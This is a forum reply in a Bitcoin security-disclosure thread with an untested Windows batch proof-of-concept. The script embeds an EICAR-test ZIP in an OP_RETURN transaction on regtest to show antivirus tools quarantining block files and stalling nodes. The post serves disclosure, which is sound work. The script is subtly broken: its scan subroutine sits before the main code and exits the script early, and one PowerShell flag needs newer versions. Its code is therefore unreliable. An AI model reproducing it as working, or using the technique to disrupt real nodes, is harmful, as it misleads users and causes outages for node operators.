Post
Topic
Board Development & Technical Discussion
Merits 4 from 2 users
Re: Security disclosure: OP_RETURN embedding of Malware signatures into Blockchain
by
wrapperband0lite
on 17/09/2025, 21:26:30 UTC
⭐ Merited by NotATether (2) ,vapourminer (2)
Thanks — quick clarifications:

• This isn’t a Core crash or fuzzing case. It’s an operational DoS via quarantine: the AV/EDR sees signature-bearing bytes (here, a ZIP with EICAR) inside the raw block file and quarantines or locks it. Core then hits IO/missing-file and the node stalls until re-download/reindex.

• OS-agnostic. The PoC works because many AVs carve/scan archives found inside larger binaries. That behavior exists on Linux (proved with ClamAV) and also on Windows/macOS in various engines. It’s about how scanners treat containers embedded in arbitrary files, not about executing anything.

• “Advanced endpoint software will only allow Bitcoin Core to access blk files” — some products can be tuned that way, but default/scheduled/on-access scans, backup scanners, or NAS-side scanners still quarantine. That’s downtime and operator friction, especially for non-enterprise node runners.

• The risk scales with ease/frequency. If OP_RETURN capacity is raised, it becomes easier to drop recognizable payloads (like ZIPs) that many engines scan by default. That’s the whole point of the repro: block-level quarantine happens.

TL;DR: Not a protocol vulnerability; a repeatable ops disruption. I’ve posted a regtest script so anyone can verify on their setup.

Windows test script :
Windows batch (.bat) test script that mirrors the Linux PoC. put it all in a file named BTC-test-win.bat, edit the AV configuration at the top, then double-click or run from cmd.

it will:
start a regtest node in a temp datadir (does not touch mainnet/testnet)
create a ZIP with the EICAR test file (safe)
embed that ZIP in OP_RETURN, mine 1 block
export the raw block and verify OP_RETURN is a real ZIP
scan the block file and the payload ZIP using your AV command


Code:
:: ============================ BTC-test-win.bat ============================
:: Repro: AV quarantines raw block via ZIP-in-OP_RETURN (regtest, safe EICAR)
:: - starts a regtest node (separate datadir; does not touch mainnet/testnet)
:: - creates a ZIP with the EICAR test file (harmless AV test)
:: - embeds ZIP in OP_RETURN, mines 1 block, exports raw block
:: - verifies OP_RETURN is a real ZIP, scans block + payload with your AV

@echo off
setlocal EnableExtensions EnableDelayedExpansion

:: -------- AV CONFIG (edit these) -----------------------------------------
:: Point AV_CMD to your scanner. Put "%FILE%" in AV_ARGS where the file path goes.

:: Example: ClamAV for Windows (adjust if your install path differs)
set "AV_CMD=C:\Program Files\ClamAV\clamscan.exe"
set "AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%"

:: Example: Microsoft Defender (uncomment one of these pairs and comment ClamAV above)
:: set "AV_CMD=%ProgramFiles%\Windows Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: Alternate Defender path on some builds:
:: set "AV_CMD=%ProgramFiles%\Microsoft Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"

:: -------- Bitcoin Core binaries (adjust if not in PATH) -------------------
set "BITCOIND=bitcoind.exe"
set "BITCOINCLI=bitcoin-cli.exe"

:: -------- Work dirs -------------------------------------------------------
for /f "usebackq tokens=*" %%t in (`
  powershell -NoProfile -Command "(Get-Date).ToString('yyyyMMdd-HHmmss')"
`) do set "NOWSTAMP=%%t"
set "WORK=%CD%\btc-av-opreturn-%NOWSTAMP%"
set "DATADIR=%WORK%\datadir"
mkdir "%WORK%" 2>nul
mkdir "%DATADIR%" 2>nul
echo [*] Workdir: %WORK%

:: -------- helper: run AV on a file ---------------------------------------
:: usage: call :SCAN "C:\path\to\file"
:SCAN
set "_file=%~1"
set "_args=%AV_ARGS%"
set "_args=!_args:%%FILE%%=%_file%!"
echo [*] AV: "%AV_CMD%" !_args!
"%AV_CMD%" !_args!
exit /b

:: -------- start bitcoind (regtest) ---------------------------------------
echo [*] Starting bitcoind (regtest) with larger OP_RETURN...
start "bitcoind-regtest" /b "%BITCOIND%" -regtest -server ^
 -datadir="%DATADIR%" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize=4096 ^
 -acceptnonstdtxn=1 -printtoconsole=0

:: wait for RPC
echo [*] Waiting for RPC...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwait getblockchaininfo >nul

:: -------- create wallet and mine funds -----------------------------------
echo [*] Creating wallet and mining 101 blocks...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -named createwallet wallet_name="ziptest" descriptors=true >nul 2>nul
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" loadwallet ziptest >nul 2>nul
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest getnewaddress`) do set "ADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 101 "%ADDR%" >nul

:: -------- make EICAR and ZIP (PowerShell) --------------------------------
set "EICAR=%WORK%\eicar.txt"
set "ZIP=%WORK%\eicar.zip"
echo [*] Creating EICAR and ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$s='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';" ^
 "Set-Content -LiteralPath '%EICAR%' -Value $s -NoNewline;" ^
 "If(Test-Path '%ZIP%'){Remove-Item '%ZIP%'};" ^
 "Compress-Archive -LiteralPath '%EICAR%' -DestinationPath '%ZIP%'"

:: -------- ZIP -> hex (for OP_RETURN) -------------------------------------
echo [*] Converting ZIP to hex for OP_RETURN...
for /f "usebackq tokens=*" %%H in (`
  powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$b=[IO.File]::ReadAllBytes('%ZIP%');" ^
  "$o=([System.Text.StringBuilder]::new());" ^
  "foreach($x in $b){[void]$o.AppendFormat('{0:x2}',$x)};" ^
  "$o.ToString()"
`) do set "ZIPHEX=%%H"

:: -------- create and send OP_RETURN tx -----------------------------------
echo [*] Creating OP_RETURN transaction...
setlocal DisableDelayedExpansion
set "JSON=[{""data"":""%ZIPHEX%""}]"
setlocal EnableDelayedExpansion
for /f "usebackq tokens=*" %%R in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" createrawtransaction "[]" "!JSON!"`) do set "RAW=%%R"
for /f "usebackq tokens=*" %%F in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest fundrawtransaction "%RAW%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "FUNDED=%%F"
for /f "usebackq tokens=*" %%S in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest signrawtransactionwithwallet "%FUNDED%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "SIGNED=%%S"
for /f "usebackq tokens=*" %%T in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" sendrawtransaction "%SIGNED%"`) do set "TXID=%%T"
echo [*] TXID: %TXID%

:: -------- mine it and export raw block -----------------------------------
echo [*] Mining 1 block...
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getnewaddress`) do set "MADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 1 "%MADDR%" >nul
for /f "usebackq tokens=*" %%B in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getbestblockhash`) do set "BHASH=%%B"
echo [*] Block: %BHASH%

set "BLOCKHEX=%WORK%\block.hex"
set "BLOCKBIN=%WORK%\block-with-zip.bin"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getblock "%BHASH%" 0 > "%BLOCKHEX%"

echo [*] Converting block hex -> bin...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h=(Get-Content -Raw '%BLOCKHEX%').Trim();" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%BLOCKBIN%',$ba)"

:: -------- extract OP_RETURN hex from the TX (no txindex needed) ----------
echo [*] Extracting OP_RETURN payload (hex)...
for /f "usebackq tokens=*" %%X in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" getrawtransaction "%TXID%" true "%BHASH%" ^
  ^| powershell -NoProfile -Command ^
    "$j=Get-Content -Raw ^| ConvertFrom-Json;" ^
    "$nulldata=$j.vout ^| ? { $_.scriptPubKey.type -eq 'nulldata' };" ^
    "if(!$nulldata){''} else {" ^
    "  $asm=$nulldata[0].scriptPubKey.asm;" ^
    "  ($asm -split ' ')[1]" ^
    "}"
`) do set "OPHEX=%%X"

set "OPZIP=%WORK%\opreturn.zip"
echo [*] Writing OP_RETURN hex -> payload ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h='%OPHEX%';" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%OPZIP%',$ba);" ^
 "$m=Get-Content -Raw '%OPZIP%' -AsByteStream -TotalCount 4;" ^
 "$hex=($m ^| ForEach-Object { $_.ToString('x2') }) -join '';" ^
 "Write-Host ('[*] OP_RETURN ZIP magic: ' + $hex)"

:: -------- scan with your AV ---------------------------------------------
echo.
echo [*] Scanning with your AV command...
call :SCAN "%BLOCKBIN%"
call :SCAN "%OPZIP%"
call :SCAN "%EICAR%"

:: -------- done; stop node ------------------------------------------------
echo [*] Stopping bitcoind...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" stop >nul 2>nul

echo.
echo [DONE] Workdir: %WORK%
echo       Block:   %BHASH%
echo       TXID:    %TXID%
echo =======================================================================
exit /b
:: ========================== end BTC-test-win.bat =========================


notes

Edit the AV config at the top:

ClamAV example (as prefilled):
AV_CMD=C:\Program Files\ClamAV\clamscan.exe
AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%

Windows Defender example:
AV_CMD=C:\Program Files\Windows Defender\MpCmdRun.exe
AV_ARGS=-Scan -ScanType 3 -File %FILE%

Requires Bitcoin Core (30.0rc) for Windows (bitcoind.exe, bitcoin-cli.exe) in PATH or adjust the BITCOIND / BITCOINCLI variables to full paths.
Uses PowerShell to write EICAR, create ZIP, and handle hex/binary conversion and JSON parsing.
It runs only on regtest and writes everything under a timestamped btc-av-opreturn-... folder in your current directory.

I only have Linux so can't test it myself.